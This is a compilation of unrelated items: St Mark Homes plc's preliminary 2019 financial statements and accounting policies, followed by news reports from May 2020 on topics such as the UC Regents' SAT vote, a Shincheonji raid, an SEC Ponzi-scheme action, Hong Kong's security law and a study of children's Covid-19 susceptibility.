Consolidated statement of comprehensive income

for the year ended 31 December 2019

2019 2018   Turnover 324,000 294,400 Cost of sales (28,945) (27,079) ________ ________ Gross profit 295,055 267,321 Administrative expenses (447,756) (412,937) Negative goodwill release - 37,993 ________ ________ Operating loss (152,701) (107,623) Share of operating profit of joint ventures 188,708 162,318 Interest receivable and similar income 286,626 266,471 Interest payable and similar charges (208,656) (203,724) ________ ________ Profit on ordinary activities before taxation 113,977 117,442 Taxation on ordinary activities (24,454) (15,373) ________ ________ Profit on ordinary activities after taxation 89,523 102,069 Other comprehensive income - ________ ________ Total comprehensive income 89,523 102,069 ________ ________ Earnings per share - basic and diluted Ordinary shares 2.03p 2.31p

Consolidated Balance sheet

at 31 December 2019

2019 2019 2018 2018     Non Current assets Tangible fixed assets 592 789 Investments in joint ventures 344,123 374,974 ________ ________ 344,715 375,763 Current assets Debtors 3,991,840 7,881,758 Cash at bank and in hand 4,799,690 1,023,754 ________ ________ 8,791,530 8,905,512 Creditors: amounts falling due within one year (3,550,233) (76,914) ________ ________ Net current assets 5,241,297 8,828,598 ________ ________ Total assets less current liabilities 5,586,012 9,204,361 Creditors: amounts falling due in more than one year - (3,465,157) ________ ________ Net assets 5,586,012 5,793,204 ________ ________ Capital and reserves Called up share capital 2,206,501 2,206,501 Capital redemption reserve 1,009,560 1,009,560 Other reserve 211,822 211,822 Merger reserve 327,060 327,060 Share premium account 375,246 375,246 Profit and loss account 1,455,823 1,609,015 ________ ________ Shareholders' funds 5,586,012 5,793,204 ________ ________

Statement of changes in equity

For the year ended 31 December 2019

Share Capital Capital Redemption Reserve Other

Reserve Merger

Reserve Share

Premium Profit and loss reserves Total        Balance at

31 December 2017 2,206,501 1,009,560 211,822 327,060 375,246 1,749,661 5,879,850 Profit for the year - - - - - 102,069 102,069 ________ ________ _______ _______ ________ ________ ________ Total comprehensive income for the year - - - - - 102,069 102,069 Dividend - - - - - (242,715) (242,715) ________ ________ _______ _______ ________ ________ _________ Balance at

31 December 2018 2,206,501 1,009,560 211,822 327,060 375,246 1,609,015 5,739,204 Profit for the year - - - - - 89,523 89,523 ________ ________ _______ _______ ________ ________ ________ Total comprehensive income for the year - - - - - 89,523 89,523 Dividend - - - - - (242,715) (242,715) ________ ________ _______ _______ ________ ________ _________ Balance at

31 December 2019 2,206,501 1,009,560 211,822 327,060 375,246 1,455,823 5,586,012 ________ ________ _______ ______ ________ ________ ________

Consolidated statement of cashflows

for the year ended 31 December 2019

2019 2019 2018 2018     Cash flows from operating activities Cash expended from operations 3,965,135 (378,124) Interest paid (208,656) (203,724) Corporation tax (24,454) (54,501) ________ ________ Net cash outflow from operating activities 3,732,025 (636,349) Investing activities Interest received 286,626 266,471 ________ ________ Net cash generated from investing activities 286,626 266,471 Financing activities Increase in loans - 1,122,680 Dividend paid (242,715) (242,715) ________ ________ Net cash generated from financing activities (242,715) 879,965 ________ ________ Net increase in cash and cash equivalents 3,775,936 510,087 Cash and cash equivalents at beginning of year 1,023,754 513,667 ________ ________ Cash and cash equivalents at end of year 4,799,690 1,023,754 ________ ________ Relating to: Cash at bank and in hand 4,799,690 1,023,754 ________ ________

Notes to Preliminary Results for the Period Ended 31 December 2019

1. The financial information set out above does not constitute statutory accounts for the purpose of Section 434 of the Companies Act 2006. The financial information has been extracted from the statutory accounts of St Mark Homes plc and is presented using the same accounting policies, which have not yet been filed with the Registrar of companies, but on which the auditors gave an unqualified report on 22 May 2020.

The preliminary announcement of the results for the year ended 31 December 2019 was approved by the board of directors on 22 May 2020.

Accounting policies

Company information

St Mark Homes Plc is a public limited company domiciled and incorporated in England and Wales. The registered office is No 1 Railshead Road, St Margarets, Old Isleworth, Middlesex TW7 7EP.

Accounting convention

These financial statements have been prepared in accordance with FRS 102 "The Financial Reporting Standard applicable in the UK and Republic of Ireland" ("FRS 102") and the requirements of the Companies Act 2006.

The financial statements are prepared in sterling, which is the functional currency of the company. Monetary amounts in these financial statements are rounded to the nearest pound.

Going concern

The financial statements are prepared on the going concern basis. The directors have a reasonable expectation that the Group and Company will continue in operational existence for the foreseeable future.

The directors have considered the impact of the COVID-19 pandemic, and the measures taken to contain it, on the Group and because of the nature of the Group's activities they do not consider that there will be any significant effect on the ability of the Group to continue in business and meet its liabilities as they fall due. Thus they continue to adopt the going concern basis of accounting in preparing these financial statements.

The financial statements have been prepared on the historical cost convention. The principal accounting policies adopted are set out below.

Basis of consolidation

The consolidated financial statements incorporate the results of St Mark Homes Plc and its subsidiary undertaking, St Mark Contracts Limited as at 31 December 2019 using the acquisition method of accounting. Under this method the results of subsidiary undertakings are included from the date of acquisition.

Jointly controlled operations and interests in joint ventures are accounted for using the equity method of accounting. A jointly controlled operation is an entity that is a joint venture that involves the establishment of a corporation, partnership or other entity in which each venture has an interest. A subsidiary is an entity controlled by the company. Control is the power to govern the financial and operating policies of the entity so as to benefit from its activities.

Turnover

Turnover represents the amounts recoverable on contracts with developers.

Turnover arising from developments is recognised on exchanged sale contracts:

when costs and revenues associated with the transaction can be reliably measured; and

where the probability of non-performance is considered negligible such that the risks and rewards of ownership have passed to the buyer.

The return on loans provided for the development of residential property is shown under interest receivable and similar income.

Investments in subsidiaries

Interests in subsidiaries are initially measured at cost and subsequently measured at cost less any accumulated impairment losses. The investments are assessed for impairment at each reporting date and any impairment losses or reversals of impairment losses are recognised immediately in the profit or loss account. A subsidiary is an entity controlled by the company. Control is the power to govern the financial and operating policies of the entity so as to obtain benefits from its activities.

Intangible fixed assets - goodwill

Negative goodwill represents the discount on the cost of acquisition over the fair value of assets acquired. It is initially recognised as a liability and is subsequently measured at cost less accumulated amortisation. Negative goodwill is being amortised over the useful life of the assets acquired on a systematic basis which is expected to be no more than two years. Negative goodwill arose on the acquisition of St Mark Contracts Limited by the Company on 10 August 2016. The fair value of consideration paid was calculated based on the bid price of the shares issued by the Company as consideration for the entire net assets of St Mark Contracts Limited. The discount in the value of the assets resulted in negative goodwill of 287,125 arising on consolidation. This negative goodwill was fully amortised by 31 December 2018.

Property development loans

Interest receivable on property loans is recognised in the period in which it accrues. Profit share returns are only recognised when there is sufficient evidence and the project is sufficiently progressed to assess the likely profitability with a reasonable level of accuracy.

Depreciation

Depreciation is provided to write off the cost, less estimated residual values, of all tangible fixed assets on a reducing balance basis over their expected useful lives. It is calculated at the following rates:

Office equipment - 25% per annum

Taxation

The tax expense represents the sum of the tax currently payable and deferred tax.

Current tax

The tax currently payable is based on taxable profit for the year. Taxable profit differs from net profit as reported in the profit and loss account because it excludes items of income or expense that are taxable or deductible in other years and it further excludes items that are never taxable or deductible. The company's liability for current tax is calculated using tax rates that have been enacted or substantively enacted by the reporting end date.

Deferred tax

Deferred tax liabilities are generally recognised for all timing differences and deferred tax assets are recognised to the extent that it is probable that they will be recovered against the reversal of deferred tax liabilities or other future taxable profits. The carrying amount of deferred tax assets is reviewed at each reporting end date and reduced to the extent that it is no longer probable that sufficient taxable profits will be available to allow all or part of the asset to be recovered. Deferred tax is calculated at the tax rates that are expected to apply in the year when the liability is settled or the asset is realised. Deferred tax is charged or credited in the profit and loss account, except when it relates to items charged or credited directly to equity, in which case the deferred tax is also dealt with in equity. Deferred tax assets and liabilities are offset when the company has a legally enforceable right to offset current tax assets and liabilities and the deferred tax assets and liabilities relate to taxes levied by the same tax authority.

Leased assets

Leases are classified as finance leases whenever the terms of the lease transfer substantially all the risks and rewards of ownership to the lessees. All other leases are classified as operating leases.

Assets held under finance leases are recognised as assets at the lower of the assets fair value at the date of inception and the present value of the minimum lease payments. The related liability is included in the balance sheet as a finance lease obligation. Lease payments are treated as consisting of capital and interest elements. The interest is charged to the profit and loss account so as to produce a constant periodic rate of interest on the remaining balance of the liability.

Liquid resources

For the purposes of the cash flow statement, liquid resources are defined as short term bank deposits.

Cash and cash equivalents

Cash and cash equivalents include cash in hand, deposits held at call with banks, other short-term liquid investments with original maturities of three months or less, and bank overdrafts. Bank overdrafts are shown within borrowings in current liabilities.

Financial assets

The Company has elected to apply the provisions of Section 11 'Basic Financial Instruments' and Section 12 'Other Financial Instruments Issues' of FRS 102 to all of its financial instruments. Financial assets are recognised in the company's balance sheet when the company becomes party to the contractual provisions of the instrument.

Financial assets are classified into specified categories. The classification depends on the nature and purpose of the financial assets and is determined at the time of recognition. Basic financial assets, which include trade and other receivables and cash and bank balances, are initially measured at transaction price including transaction costs and are subsequently carried at amortised cost using the effective interest method, unless the arrangement constitutes a financing transaction, where the transaction is measured at the present value of the future receipts discounted at a market rate of interest.

Financial liabilities and equity

Financial liabilities and equity are classified according to the substance of the financial instrument's contractual obligations, rather than the financial instrument's legal form. Basic financial liabilities are initially measured at transaction price, unless the arrangement constitutes a financing transaction, where the debt instrument is measured at the present value of the future receipts discounted at a market rate of interest. Other financial liabilities are initially recognised at fair value and are subsequently re-measured at their fair value with changes recognised through the profit and loss account.

Equity instruments

Equity instruments issued by the company are recorded at the proceeds received, net of direct issue costs. Dividends payable on equity instruments are recognised as liabilities once they are no longer at the discretion of the company.

Dividends

Equity dividends are recognised when they become legally payable. Interim equity dividends are recognised when paid. Final equity dividends are recognised when approved by the shareholders at an annual general meeting. Dividends on shares wholly recognised as liabilities are recognised as expenses and classified within interest payable.

3. Earnings per share

Earnings per ordinary share has been calculated using the weighted average number of shares in issue during the financial year. The weighted average number of Ordinary shares in issue was 4,413,002 (2018: 4,413,002) and the earnings being profit after tax attributable to ordinary shares was 89,253 (2018: 102,069).

2019 2018   Numerator Earnings used as the calculation of basic and diluted EPS 89,523 102,069 ________ ________

Number Number Denominator Weighted average number of ordinary shares used in basic and diluted EPS 4,413,002 4,413,002 ________ ________

There are no share options or other potentially dilutive equity instruments in issue than can dilute the earnings per share.
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The Regents of the 10-campus University of California voted unanimously on Thursday to suspend the requirement that first-time applicants submit scores from SAT or ACT standardized test scores for admission.

"I think it's an incredible step in the right direction," said UC Regents Chair John Perez.

The vote suspends the requirement through 2024 while UC studies whether to require scores from another test that UC either creates or adopts.

"By one measure this is a conversation 43 years in the making, since the 1977 adoption of the test as a weeding mechanism, as a way to decrease the number of students admitted to the University of California," Perez said.

The proposal to put the standardized test requirement on hold while UC re-evalutes its admissions criteria was first floated by UC President Janet Napolitano, who had already dropped the test requirement for applications due in the Fall 2020 because of the COVID-19 crisis. She said she was "unpersuaded" that requiring the tests for admissions "was sufficient to outweigh all of the extensive mitigation measures we employ to counteract the effect of the standardized test on certain populations."

Many of the Regents and members of the public who commented during the online Regents meeting cited research showing that the standardized tests favor students from higher-income families who can afford expensive test preparation courses.

Applicants for Fall 2020 can submit SAT or ACT results, but they aren't required to do so, and UC admissions offices may choose whether to consider those scores. The new policy extends that arrangement for another year, and adds another two years during which UC campuses will not use the standardized scores for admissions decisions even if students submit them.

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RESEARCH AND MOMENTUM AGAINST STANDARDIZED TESTS BUILDS

UC's vote comes after years of activism from advocates of low-income students of color who were buoyed by a growing body of research that suggested higher SAT and ACT scores have more to do with a student's ability to pay for preparation material and tutoring than with college readiness.

Some of these advocates reminded UC's Regents of the effects of the standardized tests during the online meeting's public comment period.

UC Regents Chair John Perez (screenshot (Adolfo Guzman-Lopez))

"The pay-to-play tests unfairly discriminate against low-income and students of color, shutting too many talented students out of the UC," said Michele Siqueiros, president of the L.A.-based Campaign for College Opportunity.

Her group supported a lawsuit filed against UC by civil rights advocates last year alleging that the entrance requirement discriminated against students who don't have the resources to do as well as students who can afford expensive test preparation.

"Many students attend summer test prep programs before they took the SAT," UC Student Association President Varsha Sarveshewar, who is a recent UC Berkeley graduate, told the Regents.

"Others including me, benefited from private tutoring. This usually cost hundreds if not thousands of dollars. Fun fact, when I was editor-in-chief of my high school newspaper, our biggest advertisers were test prep centers."

In the fall of 2019, UC's nine undergraduate campuses admitted more than 107,000 students. Of those admissions:

African American, 4%

Latino, 24%

Asian American, 30%

White, 21%

American Indians 0.4%

Percentages of Latinos and African Americans are larger in the California population as a whole and advocates say UC admissions should reflect that.

SOME REGENTS RELUCTANT TO TAKE SUCH A DRASTIC STEP

During the six-hour discussion, five UC Regents said they were either hesitant to do away with the standardized test requirement in one fell swoop, or said the requirement should stay in place since campuses have the freedom to place the scores lower on the list of admissions factors.

A UC task force released a report earlier this last year that concluded standardized test scores are not the main factor keeping low-income and minority students out of the university system.

"Both grades and test scores are predictive of a wide variety of UC outcomes, even after taking into account student background," said UCSD economist Julian Betts, who reiterated his endorsement of the task force's findings during the Regents meeting.

But the reaction to the Regents' decision to suspend the test was largely favorable.

"The UC system includes several of the world's most respected public higher education institutions," Bob Schaeffer, interim Executive Director of FairTest, a group that opposes standardized test for college admission, said in a written statement.

"FairTest expects many colleges and universities now in the process of evaluating their own admissions testing mandates to heed the message from California and adopt ACT/SAT-optional policies."

Beatriz Rafael of Inner City Struggle, an East L.A. community organization, said the students she works with as they apply for college often say the high-pressure tests are not an accurate reflection of their full high school experience

"I continuously hear my youth talk about their low test scores and the triggering, the anxiety, and impacting their self-esteem as a scholar," she said. "Those hard-working four years at a high school, doing all they can do to make themselves competitive applicants - their efforts are overlooked just by the test scores."

So when she heard the Regents voted to suspend the tests, she was excited.

"This was definitely a big step," she said. "We needed to end these inequities and consider a more holistic approach."

Eric Kim, who works at the test prep company LA Tutors, said the company offers scholarships to students who might not be able to afford the same preparation as their more affluent peers.

Kim said he was surprised that the Regents moved quickly to phase out the standardized tests, but added that it was "definitely a move in the right direction in terms of making it a more equitable, fair process for college admissions."

Still, he said he wonders about UC's upcoming effort to replace the SAT and ACT with its own test, and how the university system will ensure that it will be "more fair".

"If the UC system simply replaces one test with another, I'd be interested to see how they can remedy the concerns they had about the SAT and ACT with the implementation of their own assessment," he said.

Kim doesn't think the decision will affect LA Tutors too much in the short term because SAT and ACT prep account for about 10 to 15% of the company's business.

"If this ends up being a trend that other colleges pick up on, we would obviously have to focus our attention on some of the other tests that are out there" - like the GMAT and GRE - "as well as academic tutoring," he explained.

KPCC/LAist reporter Carla Javier contributed additional reporting to this story.
The road leading to a Shincheonji building is blocked in Gwangju, South Jeolla Province, Feb. 21. Yonhap



Prosecutors raided facilities of Shincheonji, a minor religious sect, on Friday as part of their ongoing probe into allegations that the group hindered state efforts to contain the new coronavirus in the early stages of the pandemic.

Some 100 investigators took part in the raids into the secretive group's branches nationwide, to seize materials in connection with the charges brought against the group's founder, Lee Man-hee. The branches include the group's headquarters in Gwacheon, just south of Seoul, and facilities in the cities of Busan, Gwangju and Daejeon.

The raid marks the prosecution's first forcible investigation into the group since February when a group of people who claimed to be victims of the religious group filed a complaint against the 89-year-old Lee for embezzlement, dereliction of duty and violation of infectious disease prevention laws.

The prosecution was seen as taking a cautious approach in investigating in the face of mounting public pressure.

It was believed that too tough an investigation might drive the sect's members to hide out, impeding the government's fight against the coronavirus.

As new infection cases have dwindled to a trickle, it is now considered to be safer than at the early stages of the pandemic to make a push to finish up the investigation.

The Shincheonji sect is accused of causing the country's biggest cluster outbreaks, accounting for some 47 percent of the country's total caseload of 11,142.

Its worship services, where members sit close together and chant loud in poorly ventilated spaces, are believed to have been a factor in the rapid spread the virus.

Also, Lee is accused of ordering group members not to fully cooperate with health officials, thus hindering state efforts to contain COVID-19 in the early stages of the pandemic.

On March 2, two days after the prosecutors launched an investigation into the leader, he appeared in front of live television cameras to make a deep bow and apologize for "unintentionally" spreading the virus.

The Seoul Metropolitan Government said the previous day that it had filed a suit against Lee and other Shincheonji leaders on charges of homicide and inflicting injury.

Earlier, the municipal government of Daegu also took legal action against the sect for hindering the government-led disease-control efforts by providing false information. (Yonhap)
In April this year, Breitling introduced a watch that attracted enormous attention. The Superocean Heritage 57 Limited Edition was launched during the brands first-ever Summit Webcast which, because of the pandemic and lockdowns, was streamed globally.

The Summit audience saw its rainbow-inspired design elements as symbols of hope and optimism, and the overwhelmingly positive feedback led Breitling to launch a second edition, this time with a blue dial, limited to 1000 pieces. Part of the proceeds from the watch are being donated to charities supporting the frontline healthcare workers in some of the most affected countries. Breitling is also donating an additional CHF 1000 to these charities for each of the first 100 Superocean Heritage 57 Limited Edition II watches sold via www.breitling.com. In total, Breitling will donate CHF 500,000.

Superocean Heritage 57 Limited Edition II  Breitling

Breitling has also announced that one of theSuperocean Heritage 57 Limited Edition II watches will be auctioned by Charitybuzz, an organization known for its auctions of unique gifts and experiences in support of worthy causes, in June. The winning bidder will be given the unique opportunity to have a digital live chat with Kelly Slater, who is a member of Breitling Surfers Squad and arguably the greatest surfer of all time. The proceeds from the Charitybuzz auction will benefit Direct Relief, a US-based charity.

Breitling has chosen to support several outstanding charities, all of which are active in the global struggle against the COVID-19 pandemic. In France, the donation will go to Fondation de France, in Italy, to the Humanitas hospital group, in Japan, to the National Center for Global Health and Medicine (NCGM), in Spain, to the Ministry of Health, in the UK, to NHS Charities Together, and in the USA, to Direct Relief.

Superocean Heritage 57 Limited Edition II

The Superocean Heritage 57 Limited Edition II is available with either a gold-brown vintage-inspired leather strap with pin or folding buckle or an integrated Ocean Classic stainless-steel bracelet with a butterfly clasp.

For anyone who wants to add even more color, this Limited Edition can be matched to a vibrant Outerknown ECONYL yarn NATO strap, available separately in one of six color combinations: blue with dark blue stripes and lining, light blue with dark blue stripes and lining, yellow with orange stripes and lining, gray with black stripes and lining, red with black stripes and lining, and green with black stripes and lining.

 Breitling

The Superocean Heritage 57 Limited Edition II is limited to 1000 pieces. The caseback is engraved with the words ONE OF 1000. What a perfect, colorful way to own an incredible watch and to say thank you to the frontline heroes tackling the challenge of the COVID-19 pandemic. The watch is priced at 4850 CHF.

Pre-order your watch HERE
In a major move, the US Senate has given its approval to a legislation that may block some of the Chinese firms from getting listed on American stock exchanges. Opening of lockdown in Europe and the US is bringing cheer to apparel manufacturers in India as supply orders revive. Airlines have received permissions to resume domestic flight operations from May 25 in a calibrated manner in India after two months of lockdown. Read for more top stories from the world of business and economy:

1. Cyclone Amphan: Rs 10,000 crore West Bengal general insurance market stares at heavy losses

In the aftermath of Cyclone Amphan, the biggest hit to insurance companies would come from property or the industrial all-risk policies; the next biggest hit would be from motor and crop policies

2. Senate passes bill to delist nearly 800 Chinese firms from US stock exchanges

The bill, introduced by Senator John Kennedy, a Republican from Louisiana, and Chris Van Hollen, a Democrat from Maryland, seeks to delist companies not abiding by the US accounting laws

3. Hope for apparel exporters as US, Europe buyers place orders; shortage of workers continue

Even as Home Ministry has relaxed lockdown rules and allowed states to decide on inter-state movement of passenger vehicles, many state governments have taken a cautious approach and are reluctant in permitting free flow of transport

4. Airlines allowed to resume flights with riders; here's all you need to know

Airlines are allowed to resume about a third of their operations from Monday, with additional rules like no meals onboard, temperature checks for all passengers and full protective gear for the crew

5. Ramp-up operations, increase investment, Sitharaman tells India Inc

Industry leaders flag issues such as low demand and need for policy reforms in sectors such as aviation, automotive and tourism, which have been badly hit due to the coronavirus pandemic
Washington D.C., May 22, 2020 - The Securities and Exchange Commission today announced that it has filed an emergency action and obtained a temporary restraining order and asset freeze against a California-registered investment adviser and his entities to halt an ongoing Ponzi scheme targeting senior citizens in Southern California.

According to the SEC's complaint, from at least January 2018 through the present, Paul Horton Smith Sr. offered and sold securities in his company Northstar Communications LLC, and used his investment advisory firm eGate LLC and insurance and estate planning company Planning Services Inc. to market the securities. Smith and Northstar through free workshops and other investor events allegedly promised investors guaranteed annual interest payments between 3 percent and 10.5 percent if they invested in so-called "private annuity contracts." In reality, as the complaint alleges, Smith did not invest the funds raised in any securities and instead used new investor funds to pay investor returns in a Ponzi-like fashion. According to the complaint, Northstar raised more than $5.6 million from at least 35 investors and paid out $5.2 million to those investors as interest payments or principal returned. Smith also allegedly used investor funds to settle investor fraud lawsuits.

The SEC's complaint, filed on May 19 and unsealed late yesterday in U.S. District Court for the Central District of California, charges Smith, Northstar, eGate, and Planning Services with violating the antifraud provisions of the federal securities laws. The complaint seeks injunctions, the return of ill-gotten gains plus interest, and civil penalties.

On May 20, in addition to granting a temporary restraining order and an asset freeze, the court ordered an accounting and appointed a temporary receiver. A hearing is scheduled for June 3, 2020, to consider continuing the asset freeze, issuance of a preliminary injunction, and appointment of a permanent receiver.

"As alleged in our complaint, Paul Horton Smith Sr. raised millions of dollars by touting his purported investment expertise and guaranteeing returns," said Michele Wein Layne, Director of the SEC's Los Angeles Regional Office. "Investors should be wary of investments promising no risk and high returns, which are classic warning signs of investment fraud."

The SEC's Office of Investor Education and Advocacy has issued investor alerts on frauds targeting seniors and Ponzi scheme red flags. Additional information is available on Investor.gov and SEC.gov.

In a parallel action, the U.S. Attorney's Office for the Central District of California announced on May 21 that it filed a criminal complaint against Smith.

The SEC's investigation was led by David S. Brown with assistance from Dora Zaldivar, and was supervised by Finola H. Manvelian in the Los Angeles Regional Office. The litigation will be led by John B. Bulgozdy and supervised by Amy Jane Longo.

The SEC appreciates the assistance of the U.S. Attorney's Office for the Central District of California, the Federal Bureau of Investigation, and the California Department of Business Oversight.
By Express News Service

Andrew Millison, a well-known international permaculture designer and a professor at Oregon State University, recently released an episode on his YouTube channel on Aamir Khan and Kiran Raos Paani Foundation. Andrew visited a village in Maharashtra to understand the work they do on watershed management.

He was completely amazed by the work the villagers have learned doing, thanks to the water cup competition, held by the Paani Foundation and described it as the biggest permaculture project on this Earth. He even made a short film on the same and shared it on his YouTube channel, read a press note.

Paani Foundation is a non-profit organization that caters for a sustainable environment. It looks into areas of drought prevention and watershed management in the state of Maharashtra. The organization has been founded by Aamir Khan, Kiran Rao, Reena Dutta, and Satjayjit Bhatkal.
Kochi, May 22 : Fifty days after being stuck in Jordan, top Kerala actor Prithviraj and award winning director Blessy on Friday morning landed here.

The 58 member crew was stuck in Wadi Rum, a desert in Jordan, as they were shooting 'Aadujeevitham' based on the award winning eponymous Malayalam novel by Benyamin.

In the first week of April, the film shoot was called off, after restrictions came in the wake of the coronavirus crisis in Jordan, and since then the crew was seeking to return home.

The crew arrived from Delhi on Friday morning and actor Prithviraj after the health checkup at the airport came out and drove away in his car.

According to the health authorities, all the 58 have to be in isolation in their homes for 14 days, following which based on a check up, further protocols will be decided.

After finishing the shoot, the crew was trying to return, but was told to wait for the appropriate time.

Following the green signal by the authorities, the crew flew in from Jordan to Delhi and from there they reached Kochi.

Billed as one of the costliest Malayalam film 'Aadujeevitham' tells the tale of the life of a man ending up in shambles after reaching the Middle East and finds himself tending goats in extreme desert temperatures.

When they left from here to Jordan, their plan was to go to Algeria after finishing the Jordan leg in the first week of April, but Covid spoiled all their plans and the crew was stuck in a plush resort near Rum Wadi in Jordan.

Blessy's past films, including his debut film in 2004 'Kaazcha', 'Thanmathra' (2005) 'Pranayam' (2011) to name a few, occupy a place of pride in the Malayalam film industry.

-- The story has been published from a wire feed without any modifications to the text
Redditor "u/egereilly" posted an OC flair that features a recent photo of PewDiePie. The image of PewDiePie shows Felix giving a thumbs-up sign with his right hand to the camera. Felix's upper body is the main subject of the picture. The image highlights Felix's exposed torso. Consequently, the caption of the Reddit post reads, "Dear Felix, We Want Workout Review. -A random 19yo".

The caption suggests that Redditor "u/egereilly" is curious about PewDiePie's workout routine and wants PewDiePie to upload a video soon about his workout routine. Other Redditors expressed comments of shock towards the photo. A Redditor under the username "JelalVII" commented, "When I first saw this photo, I legit thought his face was Photoshopped to someone's body ."

A fellow Redditor "felixisredditboss" thought of the same thing as well but realized right after that the photo was not edited in any way because PewDiePie's signature tattoos were there on his body. According to "morhyn007," the image was posted on Marzia's (PewDiePie's girlfriend) Instagram account.

Working Out in the Midst of a Lockdown

The global pandemic has altered the daily lives of people everywhere on Earth. People are now experiencing lockdowns in their homes and only go out to buy food and medicine. Students now engage in online learning and are only receiving help from their teachers through online meeting platforms.

People also work from home and are only exploring the insides of their homes since big social gatherings are not permitted everywhere. Moreso, because of business idleness around the world, some companies were forced to cut off people from their workplaces.

Everyday Health is one of the online websites that feature articles on how to practice self-care in the midst of a lockdown. The article states that exercise is a great way to help maintain a healthy physical body. It also mentioned that with a healthy physical body, the mental health and emotional state would also improve.

Constantly moving around is also a way to help boost one's immune system. When a person moves around regularly, the movements will act as a form of exercise. Once a person maintains a healthy body, the person's immune system will be strengthened; thereby, giving them a lower risk of obtaining diseases and viruses, such as coronavirus.

Read Also: [Video] Good Guy Twitch Streamer Tries to Give Back His Subscribers' Money During the Pandemic

PewDiePie: The Ultimate Youtuber

Felix Kjellberg, more popularly known as PewDiePie, is a famous Swedish Youtuber with a worldwide community of loyal followers called "The Bro Army." The "bro fist bump" is a signature gesture by PewDiePie. He makes them at the end of his videos, and The Bro Army has recognized the gestures ever since.

PewDiePie posts Youtube videos almost every day in his Youtube account and recently, on average, have been receiving seven million views on his videos. Before he was world-famous, Felix was studying Industrial Economics and Technology Management at the Chalmers University of Technology in Sweden. Felix decided to drop out of university in 2011 and pursued his Youtube career.

When he pursued his Youtube career, the concept of a Youtube career was taboo, and his parents did not support Felix's decision to drop out and pursue being a Youtuber. Felix supported himself by working as a hot-dog vendor and selling his artworks. From there, his Youtube videos gained immense recognition and turned him into a celebrity in the Youtube industry.

Read Also: [Leak] Silent Hill Could Be in the Works for PS5 with Original Director: Will Hideo Kojima be Involved?
Pro-democracy protesters light candles during a vigil outside the Pacific Place shopping mall in the Admiralty area of Hong Kong on May 15, 2020. (Anthony Wallace/AFP via Getty Images)

Countries Decry Beijings Move to Tighten Grip Over Hong Kong

Governments around the world have decried the Chinese regimes proposed national security law for Hong Kong, a move seen as a major blow to the citys autonomy.

The UK, Australia, and Canada in a joint statement on Friday said they were deeply concerned by the plans. The regimes rubber-stamp parliament is set to pass a law, bypassing Hong Kongs legislature, to ban treason, secession, sedition, and subversion. The legislation could also see the regimes securities agencies set up bases in the city.

Making such a law on Hong Kongs behalf without the direct participation of its people, legislature or judiciary would clearly undermine the principle of One Country, Two Systems, under which Hong Kong is guaranteed a high degree of autonomy, the governments said. Under the Sino-British Joint Declaration, which set the terms of Hong Kongs transfer to Chinese rule, the regime agreed to grant the city autonomy and freedoms not enjoyed in the mainland, under the formula of one country, two systems.

Earlier in the day, U.S. Secretary of State Mike Pompeo condemned the move, saying it would mark the death knell of the citys autonomy guaranteed under the treaty.

The United States strongly urges Beijing to reconsider its disastrous proposal, abide by its international obligations, and respect Hong Kongs high degree of autonomy, democratic institutions, and civil liberties, which are key to preserving its special status under U.S. law, Pompeo said in a statement.

The Hong Kong Human Rights and Democracy Act approved by President Donald Trump last year requires the State Department to certify at least annually that Hong Kong retains enough autonomy to justify favorable trading terms that have helped it maintain its position as a world financial center.

The State Department said it has delayed the release of the report to take into account developments at the National Peoples Congress, the regimes nominal legislature, which is convening until the end of next week.

Robert OBrien, Trumps national security adviser, told Fox News on Thursday that Washington has lots of tools to express our displeasure. Neither he nor Pompeo detailed actions Washington might take.

There are privileges that Hong Kong accrues because its considered a free system. Wed have to look over whether those concessions could continue to be made, he said.

If China moves forward and takes strong action under this new national security law  America will respond, and I think other countries in the world will respond, including the United Kingdom and many other of our allies and friends.

Reuters contributed to this report.
The research found children and young people appear 56% less likely to contract Covid-19 (PA)

Children and young people could be half as likely to catch coronavirus than adults, a scientific review of studies from around the world has suggested.

Researchers found those aged under 20 had 56% lower odds of catching Sars-CoV-2, the official name of the coronavirus which causes the disease Covid-19, from an infected person.

But the review of global test and tracing and population screening studies, led University College London (UCL), said evidence remains weak on how likely children are to transmit the virus to others.

Researchers also concluded they did not have sufficient data to examine whether children under the age of 12 differed to teenagers in terms of susceptibility to the virus.

Lead author of the research, Professor Russell Viner of the UCL Great Ormond Street Institute of Child Health, said it was the first comprehensive study to review what is and is not known about susceptibility and transmission among children.

It's preliminary evidence, but the weight of evidence I think in summary is clear that children appear to be less susceptible to SARS-CoV-2 Professor Russell Viner, University College London

He said: Our findings show children and young people appear 56% less likely to contract Covid-19 from infected others.

Susceptibility is a key part of the chain of infection, and this supports the view that children are likely to play a smaller role in transmitting the virus and proliferating the pandemic, although considerable uncertainty remains.

This new data provides essential evidence to governments around the world to inform their decision-making on whether to reopen schools and reduce or end lockdown measures.

For the review, researchers screened 6,332 studies and identified 18 with useful data.

Nine were contact tracing studies from China, Taiwan, Japan and Australia, eight were population-screening studies and one was a systematic review of small household cluster contact-screening.

Researchers found that while children appear less likely to catch the virus from others, once they are infected it remains uncertain about how likely youngsters are to pass it on.

Overall they believe their findings imply children play a lesser role in the transmission of the new coronavirus at a population level because fewer of them are likely to be infected in the first place.

The researchers emphasised their non-peer-reviewed study provides no information on the level to which children can transmit the virus if they are infected.

Prof Viner said the research had yet to be published in a journal but researchers felt it was important to share it as part of the public debate.

Researchers acknowledged their work was limited by the low number of studies used and their mixed quality.

Speaking on a webinar hosted by the Science Media Centre on Friday, Prof Viner said the studies did not allow researchers to separate the data out by the age of a child.

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They were also unable to look at whether children from different ethnic minority or economic backgrounds were at higher risk.

Asked about the potential reopening of schools in England next month, Prof Viner said the study was not about this issue, but the data could be used to look at it.

He added: Its preliminary evidence, but the weight of evidence I think in summary is clear that children appear to be less susceptible to SARS-CoV-2.

We dont have any data on transmissiblity. We clearly have a state of uncertainty.

I believe it is not helpful to make statements about what is safe and not safe as absolutes. All safety is a degree of safety.

There are safety issues walking out our front door, there are safety issues getting in our car to drive our children to school, we cannot ever say something is safe or unsafe.

Prof Viner said the risk of death or severe infection from Covid-19 is exceptionally low in children.

He said having an effective test and trace mechanism in place is very important to mitigate the uncertainty about transmission from children.

Prof Viner said there needed to be collaboration between the education and health systems to collect data and monitor infection rates, including having testing and tracing in schools.

Chris Bonell, professor of public health sociology at the London School of Hygiene & Tropical Medicine (LSHTM), told the webinar that measures to mitigate the risk of transmission in schools were important, such as using an on-off rota of attendance.

He acknowledged teachers would lack time to help evaluate whether measures were working in schools, but suggested video cameras could be used, with appropriate safeguards
